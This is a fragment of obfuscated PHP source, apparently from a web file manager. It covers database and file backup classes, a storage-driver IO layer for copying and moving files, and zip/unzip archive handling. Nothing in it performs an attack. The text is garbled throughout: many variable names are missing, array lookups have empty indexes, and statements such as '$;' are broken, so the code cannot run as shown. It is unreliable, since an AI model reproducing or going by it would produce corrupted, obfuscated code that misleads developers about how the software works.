0) { $ = $Ɨ[868]; if (!stristr(I18n::getType(), $Ɨ[869])) { $ = $Ɨ[870]; } write_log(array($, $), $Ɨ[858]); return !1; } return !0; } private function tmpFilesPath() { $Ũ =& $_SERVER[]; $ = TEMP_FILES; if ($GLOBALS[$Ũ[6]][$Ũ[92]][$Ũ[871]]) { $ = $GLOBALS[$Ũ[6]][$Ũ[92]][$Ũ[871]]; if (!mk_dir($) || !is_writable($) || !IO::mkfile($ . $Ũ[872])) { $ = TEMP_FILES; } } return $; } } class BackupDbFile { public function __construct() { } public function index() { $ =& $_SERVER[]; $ = Backup::get(); $ = $[$[32]]; $ = $this->tmpFilesPath() . "\x62\x61\143\153\165\160\137{$}\57"; $Ї = $this->backupPath($); if (!($Ї = IO::mkdir($Ї))) { return !1; } $ގٗ = IO::listPath($); $ = isset($ގٗ[$[86]]) ? $ގٗ[$[86]] : array(); $؏ = array_sum(array_column($, $[79])); if (!$؏) { return !1; } $ = array($[873] => $؏, $[874] => time()); Backup::set($); $ = new TaskFileTransfer($[875], $[858], count($), LNG($[859]) . $[462] . LNG($[861]) . $[876]); $->task[$[830]] = $؏; foreach ($ގٗ[$[86]] as $柕) { $ǔ = IO::move($柕[$[87]], $Ї); if (!$ǔ) { $->end(); $“ = IO::getLastError($[877] . $柕[$[87]] . $[878] . $Ї . $[178]); write_log($“, $[858]); return !1; } } $啱 = new DbManage(); $Ԯ = $啱->getSqlFile(); if (!$Ԯ[$[879]] || !$Ԯ[$[13]]) { return !1; } IO::move($Ԯ[$[879]], $Ї); IO::move($Ԯ[$[13]], $Ї); $->end(); $ = array($[880] => $؏, $[881] => time()); Backup::set($); return !0; } private function backupPath($½Š) { $ =& $_SERVER[]; $ = $½Š[$[32]]; $ = Model($[837])->get($[838]); $ = substr(md5($[839] . $ . $), 0, 8); return "\x7b\x69\157\72{$½Š[$[819]]}\x7d\57\x64\141\164\x61\142\x61\163\x65\x2f\142\x61\143\x6b\x75\160\x2f" . $ . $[11] . $; } private function tmpFilesPath() { $ށ =& $_SERVER[]; $ʁ = TEMP_FILES; if ($GLOBALS[$ށ[6]][$ށ[92]][$ށ[871]]) { $ʁ = $GLOBALS[$ށ[6]][$ށ[92]][$ށ[871]]; if (!mk_dir($ʁ) || !is_writable($ʁ) || !IO::mkfile($ʁ . $ށ[872])) { $ʁ = TEMP_FILES; } } return $ʁ; } } class BackupFile { public function __construct() { } public function index() { $ = Backup::get(); $۴ = $[$_SERVER[][369]][$_SERVER[][230]][$_SERVER[][541]]; $荝 = array($_SERVER[][542] => array($_SERVER[][882], $۴), $_SERVER[][883] => array($_SERVER[][407], $[$_SERVER[][819]])); $ = (int) Model($_SERVER[][864])->where($荝)->count($_SERVER[][541]); $ = (int) Model($_SERVER[][864])->where($荝)->sum($_SERVER[][79]); $ = new TaskFileTransfer($_SERVER[][884], $_SERVER[][858], $, LNG($_SERVER[][859]) . $_SERVER[][860] . LNG($_SERVER[][885])); $->task[$_SERVER[][830]] = $; $Ƌ = array($_SERVER[][886] => $, $_SERVER[][887] => $, $_SERVER[][888] => time()); Backup::set($Ƌ); $Ϻ = !0; $ = $this->storeIds(); $φ = 1; $ = 1000; $ꚧü = $˷ = 0; $ܣ = array(); $ޘ = $ݕ = 0; do { $Ѷ = $_SERVER[][889]; $Զ = Model($_SERVER[][864])->where($荝)->field($Ѷ)->order($_SERVER[][890])->selectPage($, $φ); $ۭ = !empty($Զ[$_SERVER[][445]]) ? $Զ[$_SERVER[][445]] : array(); foreach ($ۭ as $) { if (!$this->_fileExist($, $ܣ, $)) { write_log("\146\151\154\145\40\x6e\157\x74\x20\145\x78\151\163\164\x2e\x66\151\x6c\x65\111\104\72{$[$_SERVER[][541]]}\54\x20\160\x61\164\150\72{$[$_SERVER[][87]]}", $_SERVER[][891]); continue; } $ٮ = $[$_SERVER[][87]]; $і = "\173\151\x6f\x3a{$[$_SERVER[][819]]}\x7d" . substr($ٮ, strlen("\173\151\157\72{$[$_SERVER[][892]]}\175")); if (IO::exist($і)) { $->updateFileEnd($[$_SERVER[][32]], $[$_SERVER[][79]]); } else { $і = get_path_father($і); IO::mkdir($і); if (!IO::copy($ٮ, $і, $_SERVER[][893])) { write_log($_SERVER[][894] . $ٮ . $_SERVER[][878] . $і . $_SERVER[][178], $_SERVER[][858]); $Ϻ = !1; break; } } $۴ = $[$_SERVER[][541]]; $˷ += 1; $ꚧü += $[$_SERVER[][79]]; $ݕ += 1; $ޘ += $[$_SERVER[][79]]; if ($ꚧü >= 1024 * 1024 * 100) { $Ƌ = array($_SERVER[][818] => $۴, $_SERVER[][895] => $ݕ, $_SERVER[][896] => $ޘ); Backup::set($Ƌ); $ꚧü = $˷ = 0; } } $ = count($ۭ); $φ++; } while ($ == $); $->end(); $Ƌ = array($_SERVER[][897] => 1, $_SERVER[][828] => time(), $_SERVER[][842] => 1, $_SERVER[][818] => $۴, $_SERVER[][898] => time()); if ($˷) { $Ƌ[$_SERVER[][895]] = $ݕ; $Ƌ[$_SERVER[][896]] = $ޘ; } Backup::set($Ƌ); return !0; } private function _fileExist($, &$ó, $ȷ) { $ =& $_SERVER[]; $ = $[$[87]]; if (in_array($[$[541]], $ó)) { return !1; } if (!in_array($[$[892]], $ȷ)) { return !1; } if (IO::exist($)) { return !0; } $Ɇ = get_path_father($); if (IO::exist($Ɇ)) { $ó[] = $[$[541]]; return !1; } $ = array($[892] => $[$[892]], $[87] => array($[459], "{$Ɇ}\45")); $ݴϯ = Model($[864])->where($)->field($[542])->select(); $ó = array_merge($ó, array_to_keyvalue($ݴϯ, $[12], $[541])); return !1; } private function _fileFilter($ڀ) { $ =& $_SERVER[]; return; if (empty($ڀ)) { return; } $٢ = array($[541] => array($[7], array_unique($ڀ))); $ = Model($[899])->where($٢)->field($[193])->select(); foreach ($ as $ܯ) { Model($[899])->remove($ܯ[$[193]], !1); } } private function storeIds() { $ =& $_SERVER[]; $ = Model($[834])->listData(); $Ԝ = array(); $ȗ۪ = $GLOBALS[$[6]][$[92]][$[900]]; foreach ($ as $Ԅ) { $ = strtolower($Ԅ[$[98]]); if (!isset($ȗ۪[$])) { continue; } $ވ = $[77] . (isset($ȗ۪[$]) ? $ȗ۪[$] : ucfirst($)); if (!class_exists($ވ)) { continue; } $Ԝ[] = $Ԅ[$[475]]; } return $Ԝ; } } goto dߚ; aĝۭ: class IO extends ClassBaseCall { public static $driverCache = array(); public static $driverListSystem = array(); public static $driverListUser = array(); public static function __callStatic($ԫ, $) { $ =& $_SERVER[]; $ = $; $GLOBALS[$[1220]] = $[1221] . $ԫ; Hook::trigger($[1221] . $ԫ . $[1222], $); $ֺ = self::driverMake($[0]); if (!$ֺ) { return !1; } if (method_exists($ֺ, $ԫ)) { $Ŝ = @call_user_func_array(array($ֺ, $ԫ), $); } else { if (method_exists($ֺ, $[1223])) { $Ŝ = @call_user_func_array(array($ֺ, $ԫ), $); } else { if (method_exists(self, $ԫ)) { $Ŝ = @call_user_func_array(array(self, $ԫ), $); } else { $Ŝ = call_user_func_array(array(parent, $ԫ), $); } } } Hook::trigger($[1221] . $ԫ . $[1224], $, $Ŝ); return $Ŝ; } public static function init($ۼ) { return self::driverMake($ۼ); } public static function copy($֫, $ꖖ, $̎ = false, $퐜 = false) { return self::copyMoveStart($֫, $ꖖ, $̎, $_SERVER[][618], $퐜); } public static function move($¥, $, $⹄ = false, $㬢 = false) { return self::copyMoveStart($¥, $, $⹄, $_SERVER[][620], $㬢); } private static function copyMoveStart($㷜, $, $, $䕎̰, $) { $ =& $_SERVER[]; $ = array($㷜, $, $, $); Hook::trigger($[1221] . $䕎̰ . $[1222], $); $ = self::copyMove($㷜, $, $, $䕎̰, $); Hook::trigger($[1221] . $䕎̰ . $[1224], $, $); return $; } public static function saveFile($Ʉީ, $, $ = true) { $ɻ =& $_SERVER[]; $Ӛ = self::info($); $ = self::driverMake($Ʉީ); $ = self::driverMake($); $̠ = !1; if ($->pathParse[$ɻ[1225]]) { $̠ = $; $ő = $->pathParse[$ɻ[1225]]; $ = self::driverMake($ő); } if ($->pathParse[$ɻ[1225]]) { $ = $->pathParse[$ɻ[1225]]; $ = self::driverMake($); } $⚻ = $->pathFather($); $쟳 = !0; if (!$ && self::driverIsSame($, $)) { $쟳 = !1; } $̇ = self::copyFile($, $Ʉީ, $, $⚻, $Ӛ[$ɻ[32]], $쟳); if ($̠) { $̇ = $̠->getPathOuter($̇); } return $̇; } private static function copyMove($, $ɔˈ, $, $˴, $ٸ = false) { $ϥ =& $_SERVER[]; if (!$ || $ == $ϥ[8] || !$ɔˈ) { return !1; } ignore_timeout(); $ = self::driverMake($); $ = self::driverMake($ɔˈ); $Njۓ = $˴ == $ϥ[620]; $׀Ș = !1; if ($->pathParse[$ϥ[1225]]) { $׀Ș = $; $ɔˈ = $->pathParse[$ϥ[1225]]; $ = self::driverMake($ɔˈ); } if ($->pathParse[$ϥ[1225]]) { $ = $->pathParse[$ϥ[1225]]; $ = self::driverMake($); } self::check($, $, $, $ɔˈ); Hook::trigger($ϥ[1226], $, $, $, $ɔˈ); $ = self::driverIsSame($, $); if ($) { if ($˴ == $ϥ[620] && !method_exists($, $ϥ[1227]) && trim($ɔˈ, $ϥ[8]) == trim($->pathFather($), $ϥ[8])) { if ($->pathThis($) != $ٸ && !$->isOsDriver()) { return $->rename($, $ٸ); } return $->getPathOuter($); } if (method_exists($, $˴)) { return $->{$˴}($, $ɔˈ, $, $ٸ); } } if ($ && $˴ == $ϥ[620] && $->getType() == $ϥ[109]) { $ = $->movePath($, $ɔˈ, $ٸ); if ($) { return $; } } $ = $->isFile($); if (!$ && $->getType() == $ϥ[824] && $->getType() == $ϥ[109]) { $ = $->copyFolderFromIO($, $, $ɔˈ, $, $Njۓ, $ٸ); } else { $ = self::copyPath($, $, $, $ɔˈ, $, $Njۓ, $, $ٸ); } if ($ && $Njۓ) { $->remove($); } if ($׀Ș) { $ = $׀Ș->getPathOuter($); } return $; } private static function check($Ķ, $ݥ, $, &$) { $ =& $_SERVER[]; if (self::driverIsSame($Ķ, $) && $Ķ->isFolder($ݥ) && $Ķ->isParentOf($ݥ, $)) { show_json(LNG($[1228]), !1); } if (!$Ķ->exist($ݥ)) { show_json(LNG($[108]), !1); } } private static function copyPath($쥅, $䢷, $я, $Ȥ, $, $, $쓬, $ = false, $ = true) { $ =& $_SERVER[]; $ڕ = empty($) && $ !== $[228] ? $쥅->pathThis($䢷) : $; if ($) { $媀 = $я->fileNameExist($Ȥ, $ڕ); $ = $ڕ; $ڕ = $я->fileNameAuto($Ȥ, $ڕ, $, !$쓬); if (!$媀 || $ != $ڕ) { $ = !1; } if ($ && !$) { $я->_data[$[1229]] = !0; } } if ($쓬) { return self::copyFile($쥅, $䢷, $я, $Ȥ, $ڕ, $); } if ($ == REPEAT_RENAME_FOLDER) { $ = !1; } $Ȟ = rtrim($Ȥ, $[8]) . $[8] . $ڕ; $ = $я->mkdir($я->getPath($Ȟ), $); $Ȥ = $я->getPathInner($); $ݙ = $쥅->listPath($䢷, !0); $ݙ = is_array($ݙ) ? $ݙ : array($[86] => array(), $[85] => array()); $ = array_merge($ݙ[$[86]], $ݙ[$[85]]); foreach ($ as $) { $ = $[$[33]] == $[230]; $䢷 = $쥅->getPathInner($[$[87]]); $ۢ = self::copyPath($쥅, $䢷, $я, $Ȥ, $, $, $, !1, !1); if (!$ۢ) { IO::errorTips($[1230] . $䢷 . $[73] . $Ȥ); } } self::copyMoveKeepInfo($쥅, $䢷, $); return $; } private static function copyFile($, $, $㔌, $ٛ, $, $) { $ݠ =& $_SERVER[]; $ٛ = $㔌->getPath(rtrim($ٛ, $ݠ[8]) . $ݠ[8] . $); $ = $ݠ[1231] . time() . rand_string(5); Hook::trigger($ݠ[1232], $, $, $㔌, $ٛ, $, $); if (self::driverIsSame($, $㔌)) { if ($) { $ = $㔌->moveFile($, $ٛ); } else { $ = $㔌->copyFile($, $ٛ); } Hook::trigger($ݠ[1233], $, $, $㔌, $ٛ, $, $); self::copyMoveKeepInfo($, $, $); return $; } $̞ = TEMP_FILES; if ($GLOBALS[$ݠ[6]][$ݠ[92]][$ݠ[871]]) { $̞ = $GLOBALS[$ݠ[6]][$ݠ[92]][$ݠ[871]]; } $ = $̞; mk_dir($); $ڤԏ = $ . $; $ӫ̓ = $ڤԏ; $ڤԏ = $->download($, $ڤԏ); $ڤԏ = $->iconvApp($ڤԏ); if (substr($ڤԏ, strlen($̞)) == $̞) { $ = !0; } $ = $㔌->upload($ٛ, $ڤԏ, $); self::remove($ӫ̓); Hook::trigger($ݠ[1233], $, $, $㔌, $ٛ, $, $); self::copyMoveKeepInfo($, $, $); return $; } private static function copyMoveKeepInfo($, $Ŋ, $Ҥ߃) { if (!$Ҥ߃) { return; } $ = $->info($Ŋ); if (!is_array($)) { return; } IO::setModifyTime($Ҥ߃, $[$_SERVER[][88]]); } public static function pathFather($) { $ې = IO::init($); $䳴 = $ې->pathFather($ې->path); return $ې->getPathOuter($䳴); } public static function fileOut($, $ͺ = false, $Ǔ = false, $ = '') { $ߍ = self::driverMake($); if ($ߍ->isFileOutServer()) { return $ߍ->fileOutServer($, $ͺ, $Ǔ, $); } return $ߍ->fileOut($, $ͺ, $Ǔ, $); } public static function fileOutImage($, $ = 250) { $ӗ = array(250, 600, 1200, 2000, 3000, 5000); for ($ڭ = 0; $ڭ < count($ӗ); $ڭ++) { if ($ڭ == 0 && $ <= $ӗ[$ڭ]) { $ = $ӗ[$ڭ]; break; } else { if ($ > $ӗ[$ڭ - 1] && $ <= $ӗ[$ڭ]) { $ = $ӗ[$ڭ]; break; } else { if ($ڭ == count($ӗ) - 1 && $ > $ӗ[$ڭ]) { $ = $ӗ[$ڭ]; break; } } } } $Қڞ = self::driverMake($); if ($Қڞ->isFileOutServer()) { return $Қڞ->fileOutImageServer($, $); } return $Қڞ->fileOutImage($, $); } private static function driverIsSame($ۥ, $) { $ϝ =& $_SERVER[]; $㩕 = $ۥ->getType(); $ٙ = $->getType(); if ($㩕 != $ٙ) { return !1; } if ($㩕 == $ϝ[824]) { return !0; } if ($㩕 == $ϝ[109]) { return !0; } if ($ۥ->pathDriver == $->pathDriver) { return !0; } return !1; } public static function copyUpdate($Ө, $) { $ѵ =& $_SERVER[]; if (!IO::exist($Ө)) { return !1; } if (!IO::exist($)) { IO::mkdir($); } $Иز = array_to_keyvalue(self::listAllSimple($Ө), $ѵ[87]); $╽ = array_to_keyvalue(self::listAllSimple($), $ѵ[87]); $ҷ = array(); $ҹخ = array(); foreach ($Иز as $ۈ => $С) { if (isset($╽[$ۈ])) { if ($С[$ѵ[78]] == 1) { continue; } if ($╽[$ۈ][$ѵ[79]] == $С[$ѵ[79]]) { continue; } } if ($С[$ѵ[78]] == 1) { $ҹخ[] = $ . $ѵ[8] . trim($ۈ, $ѵ[8]); continue; } $ = strstr(trim($ۈ, $ѵ[8]), $ѵ[8]) ? get_path_father($ۈ) : $ѵ[12]; $ҷ[] = array($ѵ[1234] => $С[$ѵ[89]], $ѵ[1235] => rtrim($, $ѵ[8]) . $ѵ[8] . $, $ѵ[1236] => $С); } $ = array($ѵ[230] => $ҷ, $ѵ[78] => $ҹخ); Hook::trigger($ѵ[1237], $Ө, $, $); foreach ($ҹخ as $С) { IO::mkdir($С); } foreach ($ҷ as $С) { IO::copy($С[$ѵ[1234]], $С[$ѵ[1235]], REPEAT_REPLACE); } } public static function fileSubstr($Ź٠, $Ĕ, $ = false) { $뮀˯ =& $_SERVER[]; $鋡 = self::driverMake($Ź٠); $ꔻ = $鋡->size($Ź٠); $̗ = $Ĕ; $ = $; if ($Ĕ < 0) { $Ĕ = $ꔻ + $Ĕ; } if ($ === !1) { $ = $ꔻ - $Ĕ; } if ($Ĕ + $ > $ꔻ) { $ = $ꔻ - $Ĕ; } if (!$ꔻ && $鋡->getType() == $뮀˯[109] && !$鋡->exist($Ź٠)) { $ܽ = get_path_this($Ź٠); $Ԓ = parse_url_query($ܽ); if (is_array($Ԓ) && isset($Ԓ[$뮀˯[32]])) { $ܽ = urldecode($Ԓ[$뮀˯[32]]); } throw new Exception($뮀˯[1238] . LNG($뮀˯[1239]) . $뮀˯[1037] . clear_html($ܽ) . $뮀˯[12]); } if ($ <= 0) { return $뮀˯[12]; } if ($Ĕ < 0 || $Ĕ >= $ꔻ || $ > 1024 * 1024 * 10) { throw new Exception("\146\151\x6c\x65\x52\x65\141\x64\40\x65\x72\x72\157\x72\41\x20\163\x74\x61\162\x74\75{$Ĕ}\x3b\x6c\145\x6e\x67\164\x68\x3d{$}\73\x20\x73\x69\172\x65\75{$ꔻ}\x3b"); } $胒ҋ = $鋡->fileSubstr($Ź٠, $Ĕ, $); if (!$胒ҋ && $ && isset($GLOBALS[$뮀˯[1240]])) { throw new Exception($GLOBALS[$뮀˯[1240]][$뮀˯[1241]]); } return $胒ҋ; } private static function driverMake(&$ϝ) { $ =& $_SERVER[]; $ʒ = KodIO::parse($ϝ); if (!self::$driverListSystem) { $Լ = Model($[834])->driverListSystem(); self::$driverListSystem = array_to_keyvalue($Լ, $[475]); } if ($ʒ[$[33]] == KodIO::KOD_IO && !self::$driverListSystem[$ʒ[$[475]]]) { throw new Exception($[1242]); return !1; } $ϝ = $ʒ[$[1243]]; $ɳ⤼ = self::driverGet($ʒ, $ϝ); return $ɳ⤼; } private static function driverGet($д, &$ም) { $ۀ =& $_SERVER[]; $ѡ = $д[$ۀ[1244]]; $Ͱ = $д[$ۀ[475]]; switch ($д[$ۀ[33]]) { case KodIO::KOD_IO: $ = self::$driverListSystem[$Ͱ]; break; case KodIO::KOD_SOURCE: $ም = $Ͱ . $ም; $ = array($ۀ[1245] => $ۀ[1246], $ۀ[6] => $д); break; case KodIO::KOD_USER_DRIVER: if (!self::$driverListUser) { $ = $GLOBALS[$ۀ[1247]]; self::$driverListUser = array_to_keyvalue($, $ۀ[475]); } $ = self::$driverListUser[$Ͱ]; break; case KodIO::KOD_SHARE_LINK: $ = array($ۀ[1245] => $ۀ[1248], $ۀ[6] => $д); $ = Action($ۀ[1249])->sharePathInfo($д[$ۀ[87]]); $ም = $[$ۀ[193]]; if (!$[$ۀ[193]]) { $ = Model($ۀ[664])->getInfo($[$ۀ[665]]); $ም = KodIO::clear($[$ۀ[1250]] . $д[$ۀ[1243]]); $д[$ۀ[560]] = $; $д[$ۀ[1225]] = $ም; $ = array($ۀ[1245] => $ۀ[1251], $ۀ[6] => $д); } break; case KodIO::KOD_SHARE_ITEM: $ = array($ۀ[1245] => $ۀ[1252], $ۀ[6] => $д); $ = Model($ۀ[664])->getInfo($д[$ۀ[475]]); if ($[$ۀ[193]] == $ۀ[228]) { $ም = KodIO::clear($[$ۀ[1250]] . $д[$ۀ[1243]]); $д[$ۀ[560]] = $; $д[$ۀ[1225]] = $ም; $ = array($ۀ[1245] => $ۀ[1253], $ۀ[6] => $д); } else { if (!$ም) { $ም = $[$ۀ[193]]; } } break; default: $ም = $д[$ۀ[87]]; $ = array($ۀ[1245] => $ۀ[1254]); break; } $ = $д[$ۀ[87]]; if (!isset(self::$driverCache[$])) { $Ɋ = strtolower($[$ۀ[98]]); $ƝĹ = $GLOBALS[$ۀ[6]][$ۀ[92]][$ۀ[900]]; $ = $ۀ[77] . (isset($ƝĹ[$Ɋ]) ? $ƝĹ[$Ɋ] : ucfirst($Ɋ)); if (!class_exists($)) { show_json("{$}\x20\156\x6f\x74\40\145\x78\151\x73\x74\163\x21", !1); } $ՙս = isset($[$ۀ[6]]) ? $[$ۀ[6]] : !1; self::$driverCache[$] = new $($ՙս); } $DŽ = self::$driverCache[$]; $DŽ->pathDriver = $ѡ; $DŽ->pathBase = $ۀ[12]; if (isset($[$ۀ[6]][$ۀ[1255]])) { $DŽ->pathBase = rtrim($[$ۀ[6]][$ۀ[1255]], $ۀ[8]) . $ۀ[8]; $ም = $DŽ->pathBase . ltrim($ም, $ۀ[8]); } $ም = $DŽ->getPath($ም); if (isset($д[$ۀ[1225]])) { $ም = $д[$ۀ[1225]]; } $DŽ->path = $ም; return $DŽ; } public static function errorTips($ʳ = false) { $ =& $_SERVER[]; static $΅ݞ = array(); $ԇ = 1000; if ($ʳ === -1) { return $΅ݞ ? $΅ݞ[count($΅ݞ) - 1] : $[12]; } if ($ʳ === !1) { return implode($[262], $΅ݞ); } if (count($΅ݞ) >= $ԇ) { $΅ݞ = array_slice($΅ݞ, $ԇ * 0.5, $ԇ); } $΅ݞ[] = $ʳ; write_log($[176] . ACTION . $[1256] . $ʳ, $[1257]); } public static function getLastError($Ր = '') { $ش = self::errorTips(-1); return $ش ? $ش : $Ր; } } class IOArchive extends IO { function __construct() { parent::__construct(); } private static function local() { static $; if ($) { return $; } $؟ = IO::init($_SERVER[][8]); return $؟; } private static function iconvSystem($ƹ) { return self::local()->iconvSystem($ƹ); } private static function iconvApp($) { return self::local()->iconvApp($); } public static function zipFolder($Пբޏ, $± = "\172\x69\160", $ = '', $♸ = REPEAT_RENAME) { $ﱹ =& $_SERVER[]; $ = IO::listPath($Пբޏ); if (!$) { return !1; } $ = array_merge($[$ﱹ[85]], $[$ﱹ[86]]); return self::zip($, $±, $, $♸); } public static function zip($Ɋӳ, $ = "\172\151\160", $ˑά = '', $ = REPEAT_RENAME) { $ڵɩ =& $_SERVER[]; if (is_string($Ɋӳ) && $Ɋӳ) { $Ɋӳ = array(array($ڵɩ[87] => $Ɋӳ)); } $ڿ = self::init($Ɋӳ[0][$ڵɩ[87]]); $ŕ = self::info($Ɋӳ[0][$ڵɩ[87]]); $ = $ڵɩ[12]; $ڀ֚ = $ڵɩ[12]; $² = $ڵɩ[12]; if ($ˑά && substr($ˑά, -1, 1) != $ڵɩ[8]) { $ڀ֚ = get_path_father($ˑά); $² = get_path_this($ˑά); } else { $ڀ֚ = self::pathFather($ŕ[$ڵɩ[87]]); $² = $ŕ[$ڵɩ[32]] . $ڵɩ[10] . $; if (count($Ɋӳ) > 1) { $冴 = IO::info($ڀ֚); $² = $冴[$ڵɩ[32]] . $ڵɩ[10] . $; } if ($ˑά) { $ڀ֚ = $ˑά; } } if ($ڿ->getType() == $ڵɩ[109]) { $ˠ = self::init($ڀ֚); $ܾ = $ˠ->getType() == $ڵɩ[109] ? $ڀ֚ : get_path_father($ڿ->path); $ܾ = rtrim($ܾ, $ڵɩ[8]) . $ڵɩ[8]; mk_dir($ܾ); } else { $ = TEMP_FILES . $ڵɩ[1258] . time() . rand_string(8) . $ڵɩ[8]; mk_dir($); file_put_contents($ . $ڵɩ[1259], $ڵɩ[12]); $ܾ = $; } $Ƶ = IO::info($ܾ); if (!$Ƶ || !$Ƶ[$ڵɩ[233]]) { show_json(LNG($ڵɩ[1260]), !1); } $ٲ = self::zipFileList($Ɋӳ, $); foreach ($ٲ as $ȶ => $ۤ) { $ٲ[$ȶ] = self::iconvSystem($ۤ); } $ = get_filename_auto($ܾ . $², $ڵɩ[12], $); KodArchive::create(self::iconvSystem($), $ٲ); if (!IO::exist($)) { if ($) { del_dir($); } write_log($ڵɩ[1261] . $, $ڵɩ[389]); show_json(LNG($ڵɩ[1262]), !1); } if (!$) { return $; } $ՠ = self::move($, $ڀ֚, $); if ($) { del_dir($); } if (!$) { write_log($ڵɩ[1263] . $ . $ڵɩ[1264] . $ڀ֚, $ڵɩ[389]); show_json(LNG($ڵɩ[1262]), !1); } return $ՠ; } public static function unzip($ு, $ᄛ, $ = "\x2d\x31", $ = "\162\x65\160\154\x61\x63\x65") { $ =& $_SERVER[]; $ = parent::info($ு); if (!$) { show_json(LNG($[1265]), !1); } $к = IO::infoFullSimple($ᄛ); if (!$к) { $ᄛ = IO::mkdir($ᄛ); } if (isset($к[$[193]]) && trim($к[$[87]], $[8]) != trim($ᄛ, $[8])) { $ך = KodIO::make($к[$[192]]); $՛Ⱦ = IO::fileNameAuto($ך, $к[$[32]], REPEAT_RENAME_FOLDER, !0); $ᄛ = IO::mkdir($ך . $՛Ⱦ); } $ = $ && $ != $[1266] ? @json_decode($, !0) : -1; $͌ = self::unzipPart($ு, $); if (!$͌ || !IO::exist($͌[$[230]])) { show_json(LNG($[108]), !1); } $ = $͌[$[1267]][count($͌[$[1267]]) - 1]; if ($[$[1268]] == -1 || substr($[$[32]], -1, 1) == $[8]) { $ = $͌[$[1269]] . rand_string(10) . $[8]; mk_dir($); $ = count($͌[$[1267]]) == 1 ? IO::ext($ு) : get_path_ext($͌[$[230]]); $Ξٓ = KodArchive::extract(self::iconvSystem($͌[$[230]]), $, $[$[1268]], $՛Ⱦ, $); self::unzipErrorCheck($Ξٓ, array($[1270], $ு, $, $ᄛ, $͌)); Hook::trigger($[1271], $); recursion_dir($, $, $, 0); $ʹ = array_merge($, $); $ = array(); foreach ($ʹ as $) { $; = IO::move(self::iconvApp($), $ᄛ, $); if ($;) { $[] = $;; } } del_dir($); } else { $; = IO::move($͌[$[230]], $ᄛ, $, get_path_this($[$[32]])); if ($;) { $[] = $;; } } return $ ? $ : !1; } public static function unzipList($) { $ =& $_SERVER[]; $ݝ = isset($[$[1272]]) ? $[$[1272]] : !1; $ = isset($[$[1268]]) ? @json_decode($[$[1268]], !0) : -1; $ = self::unzipPart($[$[87]], $); if (!$ || !IO::exist($[$[230]])) { show_json(LNG($[108]), !1); } $ = $[$[1267]][count($[$[1267]]) - 1]; $ = in_array(IO::ext($[$[230]]), array($[389], $[1273], $[1274], $[1275], $[1276], $[1277])); if (!$ݝ && ($[$[1268]] == -1 || $)) { $߉ = $[$[1269]] . get_path_this($[$[230]]) . $[1278]; if (!IO::exist($߉)) { $ = $[$[1268]] == -1 ? get_path_ext(IO::pathThis($[$[87]])) : get_path_ext($[$[230]]); $ = KodArchive::listContent(self::iconvSystem($[$[230]]), !0, $); self::unzipErrorCheck($, array($[1279], $, $)); @file_put_contents($߉, json_encode($[$[1280]])); } return @json_decode(IO::getContent($߉), !0); } IO::fileOut($[$[230]], $ݝ, get_path_this($[$[32]])); die; } private static function zipFileList($ܚԂƤ, $ĵ = false) { $Ҋ =& $_SERVER[]; $ӿ = array(); foreach ($ܚԂƤ as $ݰ) { $帙 = $ݰ[$Ҋ[87]]; if ($ĵ) { $帙 = self::copy($ݰ[$Ҋ[87]], $ĵ, $Ҋ[893]); } else { $ؤͲ = self::init($ݰ[$Ҋ[87]]); if ($ؤͲ->getType() == $Ҋ[109]) { $帙 = $ؤͲ->path; } } if ($帙 && self::local()->exist($帙)) { $ӿ[$ݰ[$Ҋ[87]]] = $帙; } } if (!empty($ӿ)) { return array_values($ӿ); } show_json(LNG($Ҋ[1239]), !1); } private static function localFilePath($ʑ) { $Ը =& $_SERVER[]; $ = KodIO::parse($ʑ); if ($[$Ը[33]] == KodIO::KOD_SOURCE) { $ڣ = Model($Ը[899])->fileInfoGet(KodIO::sourceID($ʑ)); if (!$ڣ[$Ը[87]]) { show_json($Ը[1281], !1); } $ʑ = $ڣ[$Ը[87]]; } $ = self::init($ʑ); if ($->pathParse[$Ը[1225]]) { $ʑ = $->pathParse[$Ը[1225]]; $ = self::init($ʑ); } $朗 = $->getType(); if ($朗 == $Ը[109] || $朗 == $Ը[1282]) { if (!$->exist($->path)) { show_json(LNG($Ը[108]), !1); } return $->path; } return !1; } public static function unzipPart($, $̛lj = -1) { $ =& $_SERVER[]; $ą = IO::pathThis($); if (!$̛lj || $̛lj == -1) { $ƑԴ = array(array($[32] => $ą, $[1268] => -1)); $ƑԴ[0][$[1283]] = $ƑԴ[0][$[32]]; } else { if (is_array($̛lj)) { $ƑԴ = $̛lj; $ = count($ƑԴ) - 1; for ($ = 0; $ <= $; $++) { $ԓ = $ƑԴ[$]; $ʼn = get_path_this($ԓ[$[32]]) . (checkExtSafe($ԓ[$[32]]) ? $[12] : $[1284]); $ƑԴ[$][$[1283]] = $[1285] . intval($ԓ[$[1268]]) . $[462] . $ʼn; if ($ == 0) { continue; } $ƑԴ[$][$[1283]] = $ƑԴ[$ - 1][$[1283]] . $[1286] . $ƑԴ[$][$[1283]]; } } } if (!is_array($ƑԴ) || count($ƑԴ) == 0) { return !1; } $ׁ = $ƑԴ[count($ƑԴ) - 1]; if (!IO::exist($)) { return !1; } $ = TEMP_FILES . $[1287] . kodIO::hashPathSafe($) . $[8]; $σ = $ . $ׁ[$[1283]]; mk_dir($); file_put_contents(TEMP_FILES . $[1259], $[12]); if (IO::exist($σ)) { return array($[230] => $σ, $[1267] => $ƑԴ, $[1269] => $); } $ף = self::localFilePath($); if (!$ף) { $ף = $ . $[1288]; if (!IO::exist($ף)) { self::copy($, $, !1, get_path_this($ף)); } } if (!$ף || !IO::exist($ף)) { return !1; } if ($ׁ[$[1268]] == -1) { return array($[230] => $ף, $[1267] => $ƑԴ, $[1269] => $); } $ЫȘ = $ף; foreach ($ƑԴ as $ => $ԓ) { if (!$ԓ || $ԓ[$[1268]] == $[1266]) { break; } if (substr($ԓ[$[32]], -1, 1) == $[8]) { break; } $ = in_array(get_path_ext($ԓ[$[1283]]), array($[389], $[1273], $[1274], $[1275], $[1276], $[1277])); $ƪ = $ == count($ƑԴ) - 1 && $; $ = $ . $ԓ[$[1283]]; $䜞ޅ = $ . get_path_this($ԓ[$[32]]); if (IO::exist($)) { $ЫȘ = $; continue; } $ = $ == 0 ? get_path_ext($ą) : get_path_ext($ЫȘ); $ = KodArchive::extract(self::iconvSystem($ЫȘ), $, $ԓ[$[1268]], $, $); self::unzipErrorCheck($, array($[1289], $, $ƑԴ, $ԓ, $)); if (IO::exist($䜞ޅ)) { IO::rename($䜞ޅ, get_path_this($)); } $ЫȘ = $; } $σ = $ЫȘ; return array($[230] => $ЫȘ, $[1267] => $ƑԴ, $[1269] => $); } private static function unzipErrorCheck($, $ = false) { $ =& $_SERVER[]; if ($[$[1290]]) { 